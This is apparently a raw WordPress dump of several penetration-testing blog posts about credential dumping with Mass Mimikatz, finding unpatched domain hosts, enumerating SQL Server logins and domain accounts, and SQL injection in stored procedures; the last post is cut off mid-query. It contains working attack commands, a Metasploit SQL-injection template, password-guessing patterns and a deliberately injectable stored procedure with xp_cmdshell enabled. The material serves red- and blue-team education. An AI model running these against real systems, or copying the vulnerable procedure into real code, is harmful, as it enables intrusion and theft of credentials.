Invoke-MassMimikatz-PSRemoting –Verbose –AutoTarget –MaxHost 5 -WinRM
Example 3 Using alternative domain credentials from a non-domain system, grabbing a list of all domain systems, and only running Mimikatz on one of them.
Invoke-MassMimikatz-PsRemoting –Verbose –AutoTarget -MaxHost 1 -username corpMyServerAdmin -password 'MyServerPassword!' –DomainController 10.2.9.106 | ft -AutoSize
C E B Bddc Ee D E You can then pipe to other commands or simply filter for say Enterprise Admins... Ed E Ee F F Bd B

Wrap Up

In this blog I covered some Mass Mimikatz history, and a new script that includes a few novel options. Hopefully it's been interesting to those who haven't been exposed to the topics before. Either way, don't forget to have fun and hack responsibly.

References

[post_title] => Auto-Dumping Domain Credentials using SPNs, PowerShell Remoting, and Mimikatz [post_excerpt] => In this blog I’ll cover some Mimikatz history and share my script "Invoke-MassMimikatz-PsRemoting.psm1", which tries to expand on other people's work. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => auto-dumping-domain-credentials-using-spns-powershell-remoting-and-mimikatz [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:46:41 [post_modified_gmt] => 2021-06-08 21:46:41 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=5147 [menu_order] => 297 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [31] => WP_Post Object ( [ID] => 3548 [post_author] => 17 [post_date] => 2015-05-21 07:00:47 [post_date_gmt] => 2015-05-21 07:00:47 [post_content] =>

Scanning is a pretty common first step when trying to identify Windows systems that are missing critical patches.  However, there is a faster way to start the process.  Active Directory stores the operating system version and service pack level for every Windows system associated with the domain.  Historically that information has been used during penetration tests to target systems missing patches like MS08-67, but it can also be used by blue teams to help streamline identification of high risk assets as part of their standard vulnerability management approach.  In this blog I’ll cover a high level overview of how it can be done and point to a few scripts that can be used to help automate the process.

Introduction to Computer Accounts

When a system is added to a Windows domain, a computer account is created in Active Directory. The computer account provides the computer with access to domain resources similar to a domain user account. Periodically the computer account checks in with Active Directory to do things like rotate its password, pull down group policy updates, and sync OS version and service pack information. The OS version and service pack information are then stored in Active Directory as properties which can be queried by any domain user. This makes it a great source of information for attackers and blue teamers. There is also a hotfix property associated with each computer account in Active Directory, but from what I’ve seen it’s never populated. So at some point vulnerability scanning (or at least service fingerprinting) is required to confirm that systems suffer from critical vulnerabilities.

Vulnerability Scanner Feature Requests :)

To my knowledge, none of the major vulnerability scanners use the computer account properties from Active Directory during scanning (although I haven’t reviewed them all in detail). My hope is that sometime in the near future they’ll add some options for streamlining the identification of high risk Windows assets (and potentially asset discovery) using an approach like the one below.

  1. A vulnerability scanning profile for “High Risk Windows Systems Scan” could be selected in the vulnerability scanning software. The profile could be configured with least privileged domain credentials for authenticating to Active Directory. It could also be configured with network ranges to account for systems that are not part of the domain.
  2. A vulnerability scan could be started using the profile. The scan could connect to Active Directory via LDAP or the Active Directory Web Service (ADWS) and dump all of the enabled domain computers from Active Directory along with their OS version and Service Pack level.
  3. The results could be filtered using a profile configuration setting to only show systems that have checked in with Active Directory recently. Typically, if a system hasn’t checked in with Active Directory in a month, then it's most likely been decommissioned without having its account disabled.
  4. The results could be filtered again for OS versions and service pack levels known to be out of date or unsupported.
  5. Finally, a credentialed vulnerability scan could be conducted against the supplied network ranges and the filtered list of domain systems pulled from Active Directory to help verify that they are actually vulnerable.

They may be obvious, but I’ve listed some of the advantages of this approach below:

  • High risk assets can be identified and triaged quickly.
  • Target systems don’t rely on potentially out of date asset lists.
  • The initial targeting of high risk systems does not require direct access to isolated network segments that are a pain to reach.
  • From an offensive perspective, the target enumeration usually goes undetected.

I chatted with Will Schroeder a little, and he added that it would be nice if vulnerability scanners also had an Active Directory vulnerability scanning profile to account for all of the misconfigurations that penetration testers commonly take advantage of. This could cover quite a few things including, but not limited to, insecure group policy configurations (covers a lot) and excessive priviliges related to deligated privileges, domain trusts, group inheritance, GPO inheritance, and Active Directory user/computer properties.

Automating the Process with PowerShell

Ideally it would be nice to see Active Directory data mining techniques used as part of vulnerability management programs more often.  However, I think the reality is that until the functionality comes boxed with your favorite vulnerability scanner it wont be a common practice.  While we all wait for that to happen there are a few PowerShell scripts available to help automate some of the process. I spent a little time writing a PowerShell script called “Get-ExploitableSystems.psm1” that can automate some of steps that I listed in the last section .  It was build off of work done in two great PowerShell projects: PowerTools (by Will Schroeder and Justin Warner) and Posh-SecMod (by Carlos Perez).

PowerView (which is part of the PowerTools toolkit) has a function called “Invoke-FindVulnSystems” which looks for systems that may be missing patches like MS08-67.  It’s fantastic, but I wanted to ignore disabled computer accounts, and sort by last logon dates to help determine which systems are alive without having to wait for ping replies.  Additionally, I built in a small list of relevant Metasploit modules and CVEs for quick reference.

I also wanted the ability to easily query information in Active Directory from a non-domain system.  That’s where Carlos’s PoshSec-Mod project comes in.  I used Carlos’s "Get-AuditDSComputerAccount” function as a template for authenticating to LDAP with alternative domain credentials via ADSI.

Finally, I shoved all of the results into a data table object. I've found that data tables can be really handy in PowerShell, because they allow you to dump out your dataset in a way that easily feeds into the PowerShell pipeline.  For more details take a look at the code on GitHub, but be warned – it may not be the prettiest code you’ve even seen. ;)

Get-ExploitableSystems.psm1 Examples

The Get-ExploitableSystems.psm1 module can be downloaded here.  As I mentioned, I’ve tried to write it so that the output works in the PowerShell pipeline and can be fed into other PowerShell commands like “Test-Connection” and “Export-Csv”.  Below are a few examples of standard use cases.

1. Import the module.

Import-Module Get-ExploitableSystems.psm1

2. Run the function using integrated authentication.

Get-ExploitableSystems

3. Run the function against a domain controller in a different domain and make the output pretty.

Get-ExploitableSystems -DomainController 10.2.9.100 -Credential demoadministrator | Format-Table –AutoSize

4. Run the function against a domain controller in a different domain and write the output to a CSV file.

Get-ExploitableSystems -DomainController 10.2.9.100 -Credential demoadministrator | Export-Csv c:tempoutput.csv –NoTypeInformation

5. If you’re still interested in pinging hosts to verify they’re up you can use the command below.

Get-ExploitableSystems -DomainController 10.2.9.100 -Credential demoadministrator | Test-Connection

Since Will is a super ninja PowerShell guru he has already integrated the Get-ExploitableSystems updates into PowerTools. So I recommend just using PowerTools moving forward.

Active Directory Web Service Example

As it turns out you can do the same thing pretty easily with Active Directory Web Services (ADWS). ADWS can be accessed via the PowerShell Active Directory module cmdlets, and basically used to manage the domain. To get them setup on a Windows 7/8 workstation you should be able to follow the instructions below.

1. Download and install "Remote Server Administration Tools" for Windows 7/8: http://www.microsoft.com/en-us/download/details.aspx?id=7887

2. In PowerShell run the following commands:

Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell

3. Verify that the ActiveDirectory module is available with the following command:

Get-Module -ListAvailable

4. Import the Active Directory module.

import-module ActiveDirectory

Now you should be ready for action!

As I mentioned before, one of my requirements for the script was having the ability to dump information from a domain controller on a domain that my computer is not associated with, using alternative domain credentials. Khai Tran was nice enough to show me an easy way to do this with the Active Directory PowerShell provider. Below are the basic steps. In the example below a.b.c.d represent the target domain controller's IP address.

New-PSDrive -PSProvider ActiveDirectory -Name RemoteADS -Root "" -Server a.b.c.d -credential domainuser
cd RemoteADS:

Now every PowerShell AD command we run should be issued to the remote domain controller. :) I recently came across a really nice PowerShell presentation by Sean Metcalf called "Mastering PowerShell and Active Directory” that covers some useful ADWS command examples. Below is a quick code example showing how to dump active computer accounts and their OS information based on his presentation.

$tendays=(get-date).AddDays(-10);Get-ADComputer -filter {Enabled -eq $true -and LastLogonDate -gt $tendays } -Properties samaccountname,Enabled,LastLogonDate,OperatingSystem,OperatingSystemServicePack,OperatingSystemHotFix | select  name,Enabled,LastLogonDate,OperatingSystem,OperatingSystemServicePack,OperatingSystemHotFix | format-table -AutoSize

The script only shows enabled computer accounts that have logged in within the last 10 days. You should be able simply change the -10 if you want to go back further. However, after some reading it sounds like the "LastLogonDate" is relative to the domain controller you're querying. So to get the real "LastLogonDate" you'll have to query all of the domain controllers.

Wrap Up

In this blog I took a quick look at how common Active Directory mining techniques used by the pentest community can also be used by the blue teams to reduce the time it takes to identify high risk Windows systems in their environments. Hopefully, as time goes on, we’ll see vulnerability scanners and SIEM solutions using them too. Whatever side you’re on (red or blue) I hope the information has been useful. Have fun and hack responsibly. :)

References

[post_title] => A Faster Way to Identify High Risk Windows Assets [post_excerpt] => Thanks to the wonderfulness of Active Directory both red and blue teams can easily identify high risk Windows systems in their environments. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => a-faster-way-to-identify-high-risk-windows-assets [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:46:08 [post_modified_gmt] => 2021-06-08 21:46:08 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=3548 [menu_order] => 302 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [32] => WP_Post Object ( [ID] => 2833 [post_author] => 17 [post_date] => 2015-03-16 07:00:03 [post_date_gmt] => 2015-03-16 07:00:03 [post_content] =>

Introduction

In SQL Server, security functions and views that allow SQL logins to enumerate domain objects should only be accessible to sysadmins. However, in this blog I’ll show how to enumerate Active Directory domain users, groups, and computers through native SQL Server functions using logins that only have the Public server role (everyone). I’ll also show how to enumerate SQL Server logins using a similar technique. To make the attacks more practical I’ve also released PowerShell and Metasploit modules to automate everything via direct connections and SQL injection.

This blog should be interesting to pentesters, developers, and DevOps looking to gain a better understanding of what the practical attacks look like. I’ve also provided a lab setup guide, but I recommend skipping it unless you’re interested in trying this out at home.

Below is a summary of the topics being covered:

Setting up a Lab

Below I've provided some basic steps for setting up a Windows domain, SQL Server instance, and web server that can be used to replicate the scenarios covered in this blog.

Setting up the Domain and SQL Server

  1. Setup a Windows domain. Hopefully you already have a lab setup with a Windows domain/ADS. If not, you can follow the guide found below to get rolling.
    http://social.technet.microsoft.com/wiki/contents/articles/22622.building-your-first-domain-controller-on-2012-r2.aspx
  2. Add a server to the domain that can be used as the SQL Server. Below is a link to a how to guide.
    http://technet.microsoft.com/en-us/library/bb456990.aspx
  3. Download the Microsoft SQL Server Express version that includes SQL Server Management Studio and install it on the system just added to the domain. It can be downloaded from the link below.
    http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
  4. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
  5. Enable the TCP protocol so that module can connect to the listener. If you’re not familiar with that process you can use the guide found at the link below.
    http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx

Setting up the Database

1. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application.

2. Press the "New Query" button and use the TSQL below to create a database named "MyAppDb" for the lab.

-- Create database
CREATE DATABASE MyAppDb

3. Add a table with records.

-- Select the database
USE MyAppDb
-- Create table
CREATE TABLE dbo.NOCList (ID INT IDENTITY PRIMARY KEY,SpyName varchar(MAX) NOT NULL,RealName varchar(MAX) NULL)
-- Add sample records to table
INSERT dbo.NOCList (SpyName, RealName)
VALUES ('James Bond','Sean Connery')
INSERT dbo.NOCList (SpyName, RealName)
VALUES ('Ethan Hunt','Tom Cruise')
INSERT dbo.NOCList (SpyName, RealName)
VALUES ('Jason Bourne','Matt Damon')

4. Create a logins for the lab.

-- Create login for the web app and direct connection
CREATE LOGIN MyPublicUser WITH PASSWORD = 'MyPassword!';
ALTER LOGIN [MyPublicUser] with default_database = [MyAppDb];
CREATE USER [MyPublicUser] FROM LOGIN [MyPublicUser];
EXEC sp_addrolemember [db_datareader], [MyPublicUser];
-- Create login that should not be viewable to MyPublicUser
CREATE LOGIN MyHiddenUser WITH PASSWORD = 'MyPassword!';

5. Verify that the login only has the CONNECT privilege. The CONNECT privilege allows accounts to authenticate to the SQL Server instance.

-- Impersonate MyPublicUser
EXECUTE AS LOGIN = 'MyPublicUser'

-- List privileges
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
GO

-- Revert back to sa
REVERT

Img C C C

6. Check server roles for the MyPublicUser login. You shouldn’t see any roles assigned to the “MyPublicUser login. This bit of code was grabbed from http://www.practicalsqldba.com/2012/08/sql-server-list-logins-database-and.html.

-- Impersonate MyPublicUser
EXECUTE AS LOGIN = 'MyPublicUser'

-- Check if the login is part of public
SELECT IS_SRVROLEMEMBER ( 'Public' )

-- Check other assigned server roles
SELECT PRN.name,
srvrole.name AS [role] ,
Prn.Type_Desc
FROM sys.server_role_members membership
INNER JOIN (SELECT * FROM sys.server_principals WHERE type_desc='SERVER_ROLE') srvrole
ON srvrole.Principal_id= membership.Role_principal_id
INNER JOIN sys.server_principals PRN
ON PRN.Principal_id= membership.member_principal_id WHERE Prn.Type_Desc NOT IN ('SERVER_ROLE')

REVERT

Setting up the Web Application

  1. Setup a local IIS server
  2. Make sure its configured to process asp pages
  3. Download testing.asp to the web root from:
    https://raw.githubusercontent.com/nullbind/Metasploit-Modules/master/testing2.asp
  4. Modify the db_server, db_name,db_username,and db_password variables in testing2.asp as needed.
  5. Verify the page works by accessing:
    http://127.0.0.1/testing2.asp?id=1
  6. Verify the id parameter is injectable and error are returned:
    http://127.0.0.1/testing2.asp?id=@@version

Enumerating SQL Server Logins Manually

Selecting all of the logins from the sys.syslogins view is restricted to sysadmins. However, logins with the Public role (everyone) can quickly enumerate all SQL Server logins using the “SUSER_NAME” function. The “SUSER_NAME” function takes a principal_id number and returns the associated security principal (login or server role). Luckily, principal_id numbers are assigned incrementally. The first login gets assigned 1, the second gets assigned 2, and so on. As a result, it’s possible to fuzz the principal_id to recover a full list of SQL Server logins and roles. However, it’s not immediately obvious which principals are roles and which are logins. Fortunately, the logins can be identified through error analysis of the native “sp_defaultdb” stored procedure. Once logins have been identified, they can be used in dictionary attacks that often result in additional access to the SQL Server.

Below is an overview of the manual process:

1. Log into SQL Server using the “MyPublicUser” login with SQL Server Management Studio.

2. To start things off verify that it’s not possible to get a list of all logins via standard queries. The queries below should only return a list of default server roles, the “sa” login, and the “MyPublicUser” login. No other logins should be returned.

SELECT name FROM sys.syslogins
SELECT name FROM sys.server_principals

3. Using the “SUSER_ID” function it’s possible to lookup the principal_id for any login. The example below shows how to lookup the principal_id for the “sa” login. It should be possible with any login that has the Public role (everyone).

SELECT SUSER_ID('sa')

4. To go the other way just provide the principal_id to the “SUSER_NAME” function . Below is a short example showing how it’s possible to view other logins. In this example, the “MyHiddenUser” login’s principal_id is 314, but it will be different in your lab.

SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
SELECT SUSER_NAME(314)

5. As I mentioned above, it’s also possible to determine which security principals are logins and which are roles by performing error analysis on the “sp_defaultdb” stored procedure. When you’re a sysadmin “sp_defaultdb” can be used to change the default database for a login. However, when you’re not a sysadmin the procedure will fail due to access restrictions. Lucky for us valid logins return different errors than invalid logins.For example, the “sp_defaultdb” stored procedure always returns a “15007” msg when an invalid login is provided, and a “15151” msg when the login is valid. Below are a few example screenshots.

6. After logins have been identified it’s possible to use tools like SQLPing3, Hydra, and the mssql_login module to perform online dictionary attacks against the SQL Server. Next, let's take a look at some automation options.

Enumerating SQL Server Logins with PowerShell

The first script is written as a PowerShell module and can be used to enumerate SQL Logins via direct database connections. It can be downloaded from https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Get-SqlServer-Enum-SqlLogins.psm1.

The module can be imported with the PowerShell command below.

PS C:temp>Import-Module .Get-SqlServer-Enum-SqlLogins.psm1

After importing the module, the function can be run as the current Windows account or a SQL login can be supplied as shown below. My example returns many logins because my tests lab is messy, but at a minimum you should see the “MyHiddenUser” login that was created at the beginning of the lab guide.

Note: By default it fuzzes 300 principal_ids, but you can increase that with the “FuzzNum” parameter.

PS C:temp>Get-SqlServer-Enum-SqlLogins -SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser -SqlPass MyPassword! –FuzzNum 1000

Enumerating SQL Server Logins with Metasploit

This module (mssql_enum_sql_logins) does the same thing as the PowerShell module, but is written for the Metasploit Framework. If you’ve updated Metasploit lately then you already have it. Below is a basic usage example.

Note: By default it fuzzes 300 principal_ids, but you can increase that with the “FuzzNum” parameter.

use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhost 10.2.9.101
set rport 1433
set fuzznumb 1000
set username MyPublicUser
set password MyPassword!
run

Now on to the good stuff…

Enumerating Domain Accounts

In Active Directory every user, group, and computer in Active Directory has a unique identifier called an RID. Similar to the principal_id, the RID is another number that is incrementally assigned to domain objects. For a long time it’s been possible to enumerate domain users, groups, and computers by fuzzing the RIDs via RPC calls using the “smb_lookupsid” module in Metasploit written by H.D. Moore. The technique I’ve put together here is almost exactly the same, but executed through the SQL Server function “SUSER_SNAME”. As it turns out, when a full RID is supplied to the “SUSER_SNAME” function it returns the associated domain account, group, or computer name. Below I’ll walk through the manual process.

Note: As a side note “SUSER_SNAME” function can also be used to resolve SQL Login using their SID.

Manual Process for Enumerating Domain Accounts

1. Once again, log into SQL Server using the “MyPublicUser” login with SQL Server Management Studio.

2. To start things off verify that it’s not possible to execute stored procedures that provide information about domain groups or accounts. The queries below attempts to use the “xp_enumgroups” and “xp_logininfo” stored procedures to get domain group information from the domain associated with the SQL Server. They should fail, because they’re normally only accessible to member of the sysadmin server role.

EXEC xp_enumgroups 'DEMO';
EXEC xp_logininfo 'DEMODomain Admins', 'members';

3. Ok, on with the show. As an attacker that knows nothing about the environment we’ll need to start by getting the domain name of the SQL Server using the query below.

SELECT DEFAULT_DOMAIN() as mydomain;

4. Next we need to use the “SUSER_SID” function to get a sample RID from the domain of the SQL Server. You can use any default domain users or group. In the example below I’ve used “Domain Admins”.

SELECT SUSER_SID('DEMODomain Admins')

5. Once a full RID has been obtained we can to extract the domain SID by grabbing the first 48 bytes. The domain SID is the unique identifier for the domain and the base of every full RID. After we have the SID we can start building our own RIDs and get fuzzing.

RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

6. To my knowledge domain users start with the RID 500. So we’ll have to increment from there. However, you may have noticed that the SID is hex encoded. So we’ll have to convert the RID to hex and add the proper padding. Just for fun I’ll use calc.exe for the example. Start Windows calc.exe, click view, and then click programmer mode. Enter 500.

7. Convert the number to hex by clicking in the hex radio button.

8. Make sure the hex is properly formatted. In this case we need to add a 0 to the front.
01F4

9. Reverse the order of the hex values to ensure they are interpreted correctly by SQL Server. Big thanks to Antti Rantasaari and Eric Gruber for helping me figure out they needed to be flipped.
F401

10. Pad the number out to 8 bytes using 0s.
F4010000

11. Concatenate the domain SID and RID.
0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

12. Now we have a new RID that can be fed into the “SUSER_NAME” function to get the associated domain account, group, or computer as shown below.

SELECT SUSER_SNAME(0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000)

Tada! Now just repeat that 10,000 or more times and you should be on your way to a full list of domain accounts.

13. Once you have the domain account list, you can conduct online dictionary attacks and attempt to guess the passwords for every account in the domain. During most penetration tests we only have to use a handful of passwords to gain initial access. Those passwords usually include some variation of the following:

  • SeasonYear
  • CompanyNumber
  • PasswordNumber

Once we’ve guessed some passwords correctly, they can be used to login through administrator interfaces and applications.

If you’re not a pentesters it may seem crazy, but once you have a full list of domain accounts a full domain takeover is pretty likely. For those of you who are less familiar with domain escalation techniques checkout Google, the NetSPI blog, or www.harmj0y.net (lots of fun projects).

Alright, on to the automation…

Enumerating the Domain Accounts with PowerShell

This PowerShell module can be used to enumerate Windows domain accounts, groups, and computers via direct database connections. It can be downloaded from https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Get-SqlServer-Enum-WinAccounts.psm1

The module can be imported with the PowerShell command below.

PS C:temp>; Import-Module .Get-SqlServer-Enum-WinAccounts.psm1

After importing the module, the function can be run as the current Windows account or a SQL login can be supplied as shown below.

Note: By default it fuzzes 1000 principal_ids, but you can increase that with the “FuzzNum” parameter. I suggest 10000 or above for any company that not a “mom and pop” shop.

PS C:temp>Get-SqlServer-Enum-WinAccounts -SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser -SqlPass MyPassword! –FuzzNum 10000

Enumerating the Domain Admins with Metasploit

This module (mssql_enum_domain_accounts) does the same thing as the PowerShell module, but it’s written for the Metasploit Framework. If you’ve updated Metasploit lately then you already have it.  Big thanks go out to Juan Vazquez, Tod Beardsley, and the rest of the Metasploit team for helping me get the two modules into the framework!

This is most useful during internal network penetration tests after a SQL Server login has been guessed. However, it only gives the attacker an advantage if they don’t already have a domain account that can be used to enumerate domain objects via RPC or LDAP queries.

Note: For the test set the fuzznum to 1000, but you would set it to 10000 or above in a real environment.

Below is a basic usage example.

use auxiliary/admin/mssql/mssql_enum_domain_accounts
set rhost 10.2.9.101
set rport 1433
set username MyPublicUser
set password MyPassword!
set fuzznum 10000
run

Enumerating the Domain Admins with Metasploit via SQL Injection

This is the good one. This module (mssql_enum_domain_accounts_sqli) is also written in for Metasploit and takes the attack a step further by executing it through an error based SQL injection. If you’ve updated Metasploit lately then you already have it.

This is most useful during external network penetration tests, because getting a full list of domain accounts, groups, and computers isn’t always easy when social engineering is out of scope. As I mentioned before, once you have the account list it can be used to perform online dictionary attacks, and the guessed password can be used to login through interfaces like Citrix, Remote Desktop Web Access, and VPN without two-factor (it’s a thing).

Note: This module requires that you have already identified the SQL injection ahead of time. Also, make sure to set the FuzzNum parameter to 10000 or above in a real environment.

Below is a basic usage example.

use auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
set rhost 10.2.9.101
set rport 80
set GET_PATH /employee.asp?id=1+and+1=[SQLi];--
run

Wrap Up

In this blog I tried to illustrate how the “SUSER_NAME” and SUSER_SNAME” functions could be abused by logins with the Public server role.   Hopefully it’s been useful and helped provide a better understanding of how simple functions can be used to access information not intended by the access control model.   Have fun with it, and don’t forget to hack responsibly. :)

Other Blogs in this Series

References

[post_title] => Hacking SQL Server Procedures – Part 4: Enumerating Domain Accounts [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => hacking-sql-server-procedures-part-4-enumerating-domain-accounts [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:45:38 [post_modified_gmt] => 2021-06-08 21:45:38 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=2833 [menu_order] => 311 [post_type] => post [post_mime_type] => [comment_count] => 2 [filter] => raw ) [33] => WP_Post Object ( [ID] => 2030 [post_author] => 17 [post_date] => 2015-01-12 07:00:44 [post_date_gmt] => 2015-01-12 07:00:44 [post_content] =>

Introduction

If you read the first two blogs in this series then you already know that SQL Server roles and privileges can be misconfigured in ways that allow users to escalate their privileges to a sysadmin (database administrator). Even when those roles and privileges are configured correctly, sometimes stored procedures can still be a threat. In this blog I’ve covered how SQL injection can be identified and exploited to escalate privileges in SQL Server stored procedures when they are configured to execute with higher privileges using the WITH EXECUTE AS clause or certificate signing. I’ve also provided a lab setup guide for those of you who want to try this at home. To my knowledge this work with SQL Server 2005 to 2014. This should be interesting to penetration testers, application developers, and dev-ops. Feel free to jump down to the attack section if you're not big on labs. :)

Below is a summary of the topics being covered:

SQL Injection Primer

If you’re not familiar with SQL injection I thought it would make sense to provide a little definition. OWASP defines SQL injection as an “…attack that consists of insertion or "injection" of a SQL query via the input data from the client to the application”. This holds true when attacking stored procedures in SQL Server as well, but with at least one noticeable difference. To my knowledge injection into stored procedures is only possible when dynamic SQL is being used in the procedure. Luckily (for attackers) it’s actually pretty common for developers to use dynamic SQL in procedures, because it allows them to create and execute flexible queries on the fly. It only becomes a problem when variables can be controlled by an attacker and they are not parameterized. That issue is amplified when procedures are configured to run as a sysadmin login, because they can be used by attackers to escalate their privilege to a sysadmin as well.

For more information on SQL injection take a look at https://www.owasp.org/index.php/SQL_Injection. Also, here are some of Microsoft’s recommendations for safe dynamic SQL http://msdn.microsoft.com/en-us/library/bb669091(v=vs.110).aspx.

Setting up the Lab Environment

Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenarios covered in this blog/lab.

1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx

2. Install SQL Server by following the wizard, but make sure to choose mixed-mode authentication and run the service as LocalSystem for the sake of the lab.

3. Log into the SQL Server with the SA account setup during installation using the SQL Server Management Studio application.

4. Press the “New Query” button and use the TSQL below to create a least privilege login.

-- Select database
USE master
GO
-- Create login
CREATE LOGIN MyUser WITH PASSWORD = 'MyPassword!';
GO
-- Set login’s default database
ALTER LOGIN [MyUser] with default_database = [master];
GO

5. Set the “master” database as trustworthy. Configuring a database as trusted using the “is_trustworthy_on” flag allows certain objects within the database to access external resources like network shares, mail functions, and objects in other databases that are on the same SQL Server instance. This flag is set to disabled by default (except MSDB), but some DBAs still choose to enable it for a number of reasons. For the purpose of this lab, we will be enabling it so we can execute operating system commands via xp_cmdshell from within stored procedures setup using the WITH EXECUTE AS OWNER (sa in this case). However, it should be noted the setting also affects CLR-based stored procedures, UDFs, and Triggers. For more information on the “is_trustworthy_on” flag you can take a look at http://support.microsoft.com/kb/2183687.First, configure the “MASTER” database as trustworthy.

ALTER DATABASE master SET TRUSTWORTHY ON

Then verify that the configuration was set with the following query.

SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

Below is a screenshot of the expected result.

6. Use the TSQL below to enable xp_cmdshell. Enabling this now will simplify the labs later, but it could be enabled by an attacker even if we didn’t enable it.

-- Enable show options
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

Creating a Vulnerable Stored Procedure using WITH EXECUTE AS

In this section we’ll create the first vulnerable stored procedure. This one will use the WITH EXECUTE AS clause to run as a sysadmin. It will also be configured to use dynamic SQL that is vulnerable to SQL injection. Follow the instructions below to get it setup.

1. Log into the SQL Server with the “sa” login and create the vulnerable stored procedure using the TSQL below. The stored procedure will return a list of database names that match the search string passed to it, as well as the “tempdb” database.

-- Select the target database
USE MASTER;
GO
-- Create procedure
CREATE PROCEDURE sp_sqli
@DbName varchar(max)
WITH EXECUTE AS OWNER
AS
BEGIN
Declare @query as varchar(max)
SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb''';
EXECUTE(@query)
END
GO
-- Allow members of PUBLIC to execute it
GRANT EXECUTE ON sp_sqli to PUBLIC

2. Run the query below to test the sp_sqli procedure. It should return the “master” and “tempdb” databases.

-- Select the target database
USE MASTER;
GO
-- Test stored procedure
EXEC master..sp_sqli 'mast'

Finding Potentially Vulnerable Stores Procedures using WITH EXECUTE AS

In this section I’ve provided a basic process for finding custom stored procedures that use the WITH EXECUTE AS clause and may be vulnerable to SQL injection.  Please be aware that not all logins/database users will have the privileges required to view the source of all stored procedures. However, from a blue team perspective this is a nice way to quickly identify low hanging fruit. For the sake of simplicity just run these queries using the “sa” login.

1. Finding Databases that are Trusted and Owned by a Sysadmin
You should really review all of the databases, but databases owned by sysadmins are a good place to start if you’re tight on time, because any procedures that use the WITH EXECUTE AS OWNER clause will automatically be running as a sysadmin. In the example below you should only see the “MASTER” database returned by the query.

SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'

2. Finding Custom Stored Procedures
The query below will return a list of functions and stored procedures for the target database. In this case, “MASTER” is being used, but in the real world you’ll want to swap it out for your target database name. In this lab you should see “sp_sqli” returned by the query.

-- Select stored procedures from master database
SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
FROM MASTER.INFORMATION_SCHEMA.ROUTINES
ORDER BY ROUTINE_NAME

3. Finding Custom Stored Procedures using WITH EXECUTE AS
By default stored procedures are configured to run as the caller. In other words, the login used to execute it. However, stored procedures can also be created to execute with another login’s privileges. Below are the five options, but we will be focusing on OWNER in our attack later. For more information visit http://msdn.microsoft.com/en-us/library/ms188354.aspx.

  • WITH EXECUTE AS OWNER: Meaning the owner of the procedure
  • WITH EXECUTE AS SELF: Meaning the creator/modifier of the procedure
  • WITH EXECUTE AS 'USERNAME': Meaning a specific database user
  • WITH EXECUTE AS LOGIN: Meaning a specific login
  • WITH EXECUTE AS CALLER: Meaning the database user executing the procedure

Below is a query that should only return stored procedures using the WITH EXECUTE AS clause. You should see sp_sqli in the list.

-- Stored procedures that use WITH EXECUTE AS clause
SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
FROM MASTER.INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_DEFINITION
LIKE '%WITH EXECUTE AS%'
ORDER BY ROUTINE_NAME

4. Finding Stored Procedures that use the WITH EXECUTE AS and Dynamic SQL
The query below will go a little further than our last step. It will actually locate stored procedures in the “master” database using dynamic SQL that are configured to use the WITH EXECUTE AS clause. You should only see “sp_sqli” in the list again.

-- Stored procedures with Dynamic SQL and EXECUTE AS
SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
FROM MASTER.INFORMATION_SCHEMA.ROUTINES
WHERE ROUTINE_DEFINITION like '%WITH EXECUTE AS%' AND
(ROUTINE_DEFINITION like '%sp_executesql%' OR
ROUTINE_DEFINITION like '%sp_sqlexec%' OR
ROUTINE_DEFINITION like '%exec @%' OR
ROUTINE_DEFINITION like '%exec (%' OR
ROUTINE_DEFINITION like '%exec(%' OR
